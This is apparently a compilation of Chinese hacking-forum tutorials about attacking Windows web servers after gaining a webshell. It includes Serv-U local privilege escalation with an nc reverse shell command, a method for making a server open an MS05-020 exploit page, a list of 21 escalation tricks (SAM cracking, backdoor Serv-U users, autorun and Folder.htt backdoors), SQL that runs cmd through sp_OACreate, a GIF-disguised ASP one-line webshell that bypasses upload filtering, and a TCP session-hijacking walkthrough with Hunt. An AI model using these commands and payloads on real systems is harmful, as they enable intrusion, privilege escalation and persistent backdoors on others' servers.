很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限，导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令：
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111
反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
很不错的提权新方法

今天我要带给大家的是，当我们得到WEBSHELL后如何得到SYSTEM权限的新方法， 提升权限这个已经是老生常谈了，网络上已经有很多种提升权限的方法了，在这里我就不在提了，今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞，2005.4份的时候微软就发步了这个公告：

安全漏洞CN-VA05-025
发布日期：2005-04-13
漏洞类型：远程执行代码
漏洞评估：高危
受影响版本：
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件：
漏洞描述：
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件，并接受安装此恶意分级审查文件，则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过，要利用此漏洞，需要进行大量用户交互。
大家看到上面的漏洞描述了吗？当被人浏览的时候才会受到攻击，平时我们利用IE漏洞都是先把有攻击性的页面放到网上，然后等待别人去浏览，这样浏览者就会中招了。
今天我们要提升权限，那自然是让我们要提升权限的主机去浏览存在漏洞的页面了，那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢？
Ms05020的EXP网页代码已经出来了，大家可以到：
http://www.eviloctal.com/forum/read.php?tid=10127
去下载，假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方，
下面我们开始利用这个EXP，进入到我们的ASP木马，打开CMDSHELL，如果用不了的，大家自己想办法解决（可以自己上传一个CMD.EXE上去）。
在命令行里输入：start http://www.xxxx.com/ms05020.html 然后点执行。

这个时候主机的IE就会去访问我们的这个MS05020.HTML，那么如果主机没有打扑钉的话，就会绑定一个28876的断口在主机上。
接着我们输入：netstat -an | find "28876" 看看是否成功绑定，第一次的话，会慢一些，大家要等待一下，我这里很快就成功了。然后我们telnet上去马上就成功了

大家看到了：（我添加了一个temp的管理员）

现在我们已经拿到SYSTEM权限了 ，大家还想干什么不可以？
后记：其实大家还可以先上传NC，然后连接到本地后，再输入：
start http://www.xxx.com/ms05020.html也是可以的。
还有就是如果可以的话还可以这样输入：
start "C:\Program Files\Internet Explorer\iexplore.exe" http://www.xxx.com/ms05020.htm
这个要看你的情况了，一般虚拟主机如果允许访问的话，那还是用第一个命令好了！
我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过！不过也有不成功的时候，而且不成功的概率很大，特别是到虚拟机的时候，有一次我没有成功，然后我开了3389进入，发现IE没有弹出来，而是出来了一个IE设置向导，也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的，艾，其实我现在也没有搞清楚是怎么会事有点能成功有点不行，想也想不通，因为start ist:http://www.xxx.com/xxx.exe总是能成功！
把XXX。EXE下载到它的电脑上面！我最后认为估计这个还是和MS05020.HTM这个文件有关。艾，看来这个方法的利用价值也很小了，本来不想发出来了的，既然写出来了，还是发表出来一下吧！刚刚和无敌讨论了一下，他也是说不成功的原因估计也是这个，还有就是系统打了IE补丁。


提权总结21种办法篇
文章作者：ring
以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功，但是我是的确看见别人成功过的。本人不才，除了第一种方法自己研究的，其他的都是别人的经验总结。希望对朋友有帮助！
1.radmin连接法
 条件是你权限够大，对方连_blank">防火墙也没有。封装个radmin上去，运行，开对方端口，然后radmin上去。本人从来米成功过。，端口到是给对方打开了。
2.paanywhere
 C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF文件，在本地安装pcanywhere上去
3.SAM破解
 C:\WINNT\system32\config\ 下他的SAM 破解之
4.SU密码夺取
 C:\Documents and Settings\All Users\「开始」菜单\程序\
 引用：Serv-U，然后本地查看属性，知道路径后，看能否跳转
 进去后，如果有权限修改ServUDaemon.ini，加个用户上去，密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限，然后我们就可以ftp上去 quote site exec xxx 来提升权限
5.c:\winnt\system32\inetsrv\data\
 引用：就是这个目录，同样是erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行
6.SU溢出提权
 这个网上教程N多 不详细讲解了
7.运行Csript
 引用：运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了
8.脚本提权
c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat，vbs
9.VNC
 这个是小花的文章 HOHO
 默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password
 我们可以用vncx4
 破解它，vncx4使用很简单，只要在命令行下输入
 c:\>vncx4 -W
 然后顺序输入上面的每一个十六进制数据，没输完一个回车一次就行了。
10.NC提权
 给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了
11.社会工程学之GUEST提权
 很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜可能用户密码一样 也可能是他QQ号 邮箱号 手机号 尽量看看 HOHO
12.IPC空连接
 如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令
13.替换服务
 这个不用说了吧？个人感觉相当复杂
14.autorun .inf
 autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行
15.desktop.ini与Folder.htt
 引用：首先，我们现在本地建立一个文件夹，名字不重要，进入它，在空白处点右键，选择“自定义文件夹”（xp好像是不行的）一直下点，默认即可。完成后，你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件，（如果你看不到，先取消“隐藏受保护的操作系统文件”）然后我们在Folder setting目录下找到Folder.htt文件，记事本打开，在任意地方加入以下代码： <OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”> </OBJECT> 然后你将你的后门文件放在Folder setting目录下，把此目录与desktop.ini一起上传到对方任意一个目录下，就可以了，只要等管理员浏览了此目录，它就执行了我们的后门
16.su覆盖提权
 本地安装个su，将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉，重起一下Serv-U，于是你上面的所有配置都与他的一模一样了
17.SU转发端口
 43958这个是 Serv －U 的本地管理端口。FPIPE.exe上传他，执行命令： Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u，新建一个服务器，IP填对方IP，帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了
18.SQL帐户密码泄露
 如果对方开了MSSQL服务器，我们就可以通过用SQL连接器加管理员帐号（可以从他的连接数据库的ASP文件中看到），因为MSSQL是默认的SYSTEM权限。
 引用：对方没有删除xp_cmdshell 方法：使用Sqlexec.exe，在host 一栏中填入对方IP，User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect，连接上后就可以在CMD一栏中输入你想要的CMD命令了
19.asp.dll
 引用：因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\Inetpub\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
20.Magic Winmail
 前提是你要有个webshell 引用：_blank>http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧
21.DBO……

 其实 提升权限的方式很多的 就看大家怎么利用了 HOHO加油吧 将服务器控制到底！


不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

文章作者：FreeXploiT
我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：
EXEC master.dbo.xp_cmdshell 'dir c:\'
但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。
对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路：
先在SQL Server 上建立一个Wscript.Shell，调用其run Method，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。
以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP
注意：
如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开。


饶过脚本检测上传网页木马

------------------------------------------
作者：江南燕
声明：如您转载，请注明出处 -- 特络纳 及版权，本人作品免费共享、决不赢利，所以不得用于商业用途。
------------------------------------------
相信大家不止一次遇到以下的情况了：明明拿到了网站的后台管理权限，依照惯例，我们要将网页木马的后缀名由.asp改成.gif等图片格式，通过头像上传或是图片上传功能上传到服务器，然后在后台管理里利用数据库备份的漏洞再将其改为.asp的格式，就可以达到上传网页木马的目的了。
以上方法对付一般的服务器还行，但是对方的管理员稍微有些安全意识或是他使用了某个安全性相对好一些的整站程序时，就会遇到问题了。
为什么呢？因为在上传程序里加入了脚本检测的功能，它不单检测你所上传的文件是否以.gif等后缀名结尾，同时还要检测文件的内容是否包含脚本代码，如果有则还是认为程序非法，这就以为着就算我们把.asp改成.gif也是无济于事的看来设计人员真是煞费苦心了。
加入了脚本检测功能就一定安全了吗？不见得！这里我就和大家探讨一下我的研究成果：
通过分析他的脚本，发现脚本是根据文件的头信息来判断的。因为如果一个文件的头信息不包含脚本的话，就算是上传了也不会执行。编程者好狠的心啊！这样的判断启不是让我等无饭可吃了？呵呵！而且目前很多的安全站点都是这样设计的。
既然这样，我们也就不能客气了。好，看我的方法：
第一步：随便找一个图象文件，这里我就找一个.gif的文件吧，用记事本打开这个文件。会发现类似这样的乱码：
GIF89ad 2 鳟 P+ 傋^2&aZff仢l▌G6_伴dE@CVp3伣塝Oal:n?氫壈?a href='mailto:uJ@M@Ep'>uJ@M@Ep[[f溒橲?r?0OUh)勅圧EQ75`>7L溩嚄Wm坲QL\eyw~蝡q乢彾嬈颬偔E5Pbz^RZ嗂擰?kX]<`卻iok;-嫑?戓V1'慛<S>>`9/kE>>欅m=1L︾O|社l便恗hc|?{疢N]~ZWQj噳M=y

好的，现在把其他的都删掉，只留下第一行的GIF89ad字样，回车换行（切记，一定要在下一行）写入 " <%execute request("l")%> "语句。保存。
第二步：上传这个文件，呵呵，发现什么了？居然上传成功了！好，接下来我们在后台将其改为.asp的文件。
第三步：本地建立htm文件写入如下代码：
<form action=http://www.XXX.com/xxx.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br>
<input type=submit value=提交>

可以根据自己的需要修改相应的地方，其实明眼人一看就知道我这里使用的是 ——
"蓝屏大叔的最小asp马"。好！运行吧，剩下的事情就看你自己的了。
漏洞分析：这个漏洞是利用了脚本检测只检测文件头信息而形成的，而"蓝屏大叔的最小asp马"却有着良好的容错性，只要服务端写在.asp的文件里，不管任何地方，都可以执行的特点。这真是应了那句话：世间万物必相生相克啊。而且，我已经尝试过了，如果要让脚本检测将整个文件内容都检查的话，会大大降低整站程序的运行效率，作为编程人员是肯定不会这样做的。所以，这个漏洞，我自己也暂时没有想到好的解决办法，呵呵！谁让世界上最难超越的人是自己呢？看来，漏洞的弥补只好寄希望于各位看官了。
以上漏洞在DVBBS 7.0 sp2 极其以下版本测试通过


关于WEBSHELL中的命令提示符没有权限提升

信息来源：hackbase.com

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能......前二天桂林老兵ASP站长助手6.0刚出来，我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机，然后上传一个CMD.exe，然后调用你上传的CMD来执行命令......

本来想搞图文教程的，但感觉太简单，文字就可以说明清楚了

1.打开ASP站长助手6.0点击命令提示符，显示"没有权限"
2.用ASP站长助手6.0上传功能上传一个CMD.exe（在WIN\system32\cmd.exe）到你的WEBSHELL目录（其它目录也行，把上传以后的CMD.exe绝对路径COPY出来）
3.修改你的webshell找到调用CMD.exe的代码

_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""
<br>SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
<br>SI=SI&Chr(13)&"Rar命令行压缩示例：c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"
Response.Write SI
End Function

修改成以下载的代码

Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""
<br>SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
<br>SI=SI&Chr(13)&"Rar命令行压缩示例：c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1
"
Response.Write SI
End Function

为了大家看得清楚把要修改的提出来就可以

原来的：
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成：
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall

比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall


会话劫持攻击实战
文章作者：dahubaobao[RingZ][EST] qq：382690
信息来源：中国邪恶八进制（EvilOctal Security Team）
工具及图片都在压缩包中，解压密码：http://www.ringz.org/
http://dahubaobao.go.nease.net/Hijack.rar
注：转载请著名出处(包括这里的声明)，谢谢！
=====================================================================
会话劫持攻击实战
前言

通常，大家所说的入侵，都是针对一台主机，在获得管理员权限后，就很是得意；其实，真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多，但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是，不管使用什么技术，无非都是抓取目标的数据包，然后分析出敏感数据。如果目标内部采用的是共享式网络（采用HUB集线器连网），那只需要把网卡设置为“混杂模式”，挂上嗅探器（Sniffer），就能简听到你想得到的数据。如果是交换式网络（采用交换机连网），这样方法就行不通了，因为对于嗅探器，有三种网络环境是无法跨越的：“网桥”、“交换机”、“路由器”。可惜，对于ARP欺骗，交换式网络还是无能为力，如果我们借助ARP欺骗，在实现更高一层的“入侵手段”，从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……
一，会话劫持原理

1，什么是会话劫持

在现实生活中，比如你去市场买菜，在交完钱后你要求先去干一些别的事情，稍候再来拿菜；如果这个时候某个陌生人要求把菜拿走，卖菜的人会把菜给陌生人吗？！当然，这只是一个比喻，但这恰恰就是会话劫持的喻意。所谓会话，就是两台主机之间的一次通讯。例如你Telnet到某台主机，这就是一次Telnet会话；你浏览某个网站，这就是一次HTTP会话。而会话劫持（Session Hijack），就是结合了嗅探以及欺骗技术在内的攻击手段。例如，在一次正常的会话过程当中，攻击者作为第三方参与到其中，他可以在正常数据包中插入恶意数据，也可以在双方的会话当中进行简听，甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型：1）中间人攻击(Man In The Middle，简称MITM)，2）注射式攻击（Injection）；并且还可以把会话劫持攻击分为两种形式：1）被动劫持，2）主动劫持；被动劫持实际上就是在后台监视双方会话的数据流，丛中获得敏感数据；而主动劫持则是将会话当中的某一台主机“踢”下线，然后由攻击者取代并接管会话，这种攻击方法危害非常大，攻击者可以做很多事情，比如“cat etc/master.passwd”（FreeBSD下的Shadow文件）。图1为会话劫持示意图。
MITM攻击简介
这也就是我们常说的“中间人攻击”，在网上讨论比较多的就是SMB会话劫持，这也是一个典型的中间人攻击。要想正确的实施中间人攻击，攻击者首先需要使用ARP欺骗或DNS欺骗，将会话双方的通讯流暗中改变，而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多，网上的资料也比较多，我就不在多说了，我只简单谈谈DNS欺骗。DNS（Domain Name System），即域名服务器，我们几乎天天都要用到。对于正常的DNS请求，例如在浏览器输入http://www.hacker.com.cn/，然后系统先查看Hosts文件，如果有相对应的IP，就使用这个IP地址访问网站（其实，利用Hosts文件就可以实现DNS欺骗）；如果没有，才去请求DNS服务器；DNS服务器在接收到请求之后，解析出其对应的IP地址，返回给我本地，最后你就可以登陆到黑客防线的网站。而DNS欺骗则是，目标将其DNS请求发送到攻击者这里，然后攻击者伪造DNS响应，将正确的IP地址替换为其他IP，之后你就登陆了这个攻击者指定的IP，而攻击者早就在这个IP中安排好了恶意网页，可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行，比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗，还是DNS欺骗，中间人攻击都改变正常的通讯流，它就相当于会话双方之间的一个透明代理，可以得到一切想知道的信息，甚至是利用一些有缺陷的加密协议来实现。
注射式攻击简介
这种方式的会话劫持比中间人攻击实现起来简单一些，它不会改变会话双方的通讯流，而是在双方正常的通讯流插入恶意数据。在注射式攻击中，需要实现两种技术：1）IP欺骗，2）预测TCP序列号。如果是UDP协议，只需伪造IP地址，然后发送过去就可以了，因为UDP没有所谓的TCP三次握手，但基于UDP的应用协议有流控机制，所以也要做一些额外的工作。对于IP欺骗，有两种情况需要用到：1）隐藏自己的IP地址；2）利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上，可以直接使用Socket构造IP包，在IP头中填上虚假的IP地址，但需要root权限；在Windows平台上，不能使用Winsock，需要使用Winpacp（也可以使用Libnet）。例如在Linux系统，首先打开一个Raw Socket（原始套接字），然后自己编写IP头及其他数据。可以参考下面的实例代码：
sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
struct ip *ip;
struct tcphdr *tcp;
struct
        pseudohdr pseudoheader;
ip->ip_src.s_addr =
        xxx;
pseudoheader.saddr.s_addr =
        ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short
        *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf,
        len, 0, (const sockaddr *)addr, sizeof(struct
sockaddr_in));
对于基于TCP协议的注射式会话劫持，攻击者应先采用嗅探技术对目标进行简听，然后从简听到的信息中构造出正确的序列号，如果不这样，你就必须先猜测目标的ISN（初始序列号），这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢？请继续往下看。
2，TCP会话劫持

本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议，那将轻而易举，因为它们没有提供一些认证措施；而TCP协议被欲为是可靠的传输协议，所以要重点讨论它。
根据TCP/IP中的规定，使用TCP协议进行通讯需要提供两段序列号，TCP协议使用这两段序列号确保连接同步以及安全通讯，系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中，双方的序列号是相互依赖的，这也就是为什么称TCP协议是可靠的传输协议（具体可参见RFC 793）。如果攻击者在这个时候进行会话劫持，结果肯定是失败，因为会话双方“不认识”攻击者，攻击者不能提供合法的序列号；所以，会话劫持的关键是预测正确的序列号，攻击者可以采取嗅探技术获得这些信息。
TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中，都有两段序列号，它们分别为：
SEQ：当前数据包中的第一个字节的序号
ACK：期望收到对方数据包中第一个字节的序号
假设双方现在需要进行一次连接：
S_SEQ：将要发送的下一个字节的序号
S_ACK：将要接收的下一个字节的序号
S_WIND：接收窗口
//以上为服务器（Server）
C_SEQ：将要发送的下一个字节的序号
C_ACK：将要接收的下一个字节的序号
C_WIND：接收窗口
//以上为客户端（Client）
它们之间必须符合下面的逻辑关系，否则该数据包会被丢弃，并且返回一个ACK包（包含期望的序列号）。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND
如果不符合上边的逻辑关系，就会引申出一个“致命弱点”，具体请接着往下看。
致命弱点
这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后，就会用自己期望的序列号返回ACK包；而在另一端，这个数据包也不是所期望的，就会再次以自己期望的序列号返回ACK包……于是，就这样来回往返，形成了恶性循环，最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗，使双方的数据包“正常”的发送到攻击者这里，然后设置包转发，最后就可以进行会话劫持了，而且不必担心会有ACK风暴出现。当然，并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意，ACK风暴仅存在于注射式会话劫持。
TCP会话劫持过程
假设现在主机A和主机B进行一次TCP会话，C为攻击者（如图2），劫持过程如下：
A向B发送一个数据包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ，包大小为:60
B回应A一个数据包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ，包大小为:50
A向B回应一个数据包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ，包大小为:40
B向A回应一个数据包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ，包大小为:30
攻击者C冒充主机A给主机B发送一个数据包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ，包大小为:20
B向A回应一个数据包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ，包大小为:10
现在，主机B执行了攻击者C冒充主机A发送过来的命令，并且返回给主机A一个数据包；但是，主机A并不能识别主机B发送过来的数据包，所以主机A会以期望的序列号返回给主机B一个数据包，随即形成ACK风暴。如果成功的解决了ACK风暴（例如前边提到的ARP欺骗），就可以成功进行会话劫持了。
关于理论知识就说到这里，下面我以具体的实例演示一次会话劫持。
二，会话劫持实践

1，唠叨几句
可以进行会话劫持的工具很多，比较常用有Juggernaut，它可以进行TCP会话劫持的网络Sniffer程序；TTY Watcher，而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持，只是看你会不会使用了。但，能将会话劫持发挥得淋漓尽致的，还要算Hunt这个工具了。它的作者是Pavel Krauz，可以工作在Linux和一些Unix平台下。它的功能非常强大，首先，无论是在共享式网络还是交换式网络，它都可以正常工作；其次，可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述，我们知道在注射式攻击中，容易出现ACK风暴，解决办法是先进行ARP欺骗；而使用Hunt进行注射式攻击时，它并不进行ARP欺骗，而是在会话劫持之后，向会话双方发送带RST标志位的TCP包以中断会话，避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗，然后进行会话劫持。Hunt目前最新版本是1.5，可以到Pavel Krauz网站下载源代码包和二进制文件：http://lin.fsid.cvut.cz/~kra/#hunt。
现在来看看如果使用Hunt，首先是下载并编译源代码：
[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互试的操作，具体如图3所示
解释一下各个选项的含义
l/w/r) list/watch/reset connections
//l（字母l）为查看当前网络上的会话；w为监视当前网络上的某个会话；r为重置当前网络上的某个会话。
a) arp/simple hijack (avoids ack storm if arp used)
//中间人攻击（会话劫持），Hunt先进行ARP欺骗，然后进行会话劫持。使用此方法可以避免出现ACK风暴。
s) simple hijack
//简单的会话劫持，也就是注射式攻击。会出现ACK风暴。
d) daemons rst/arp/sniff/mac
//该选项共实现四个功能，分别为：终止会话，自动发送带RST标志位的TCP包；ARP欺骗后进行数据包转发；不用说了，嗅探功能；在当前网络上收集MAC地址。
其他的选项很简单，不在多说了。还是来看看具体的例子吧，我想大家都等不及了！^_^
2，应用实例
测试环境：
攻击者：Red Hat Linux 9.0 IP：192.168.0.10
主机A：Windows Advanced Server IP：192.168.0.1
主机B：FreeBSD 4.9 STABLE IP：192.168.0.20
[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* ? 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
//主机A正在Telnet到主机B
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //监视当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
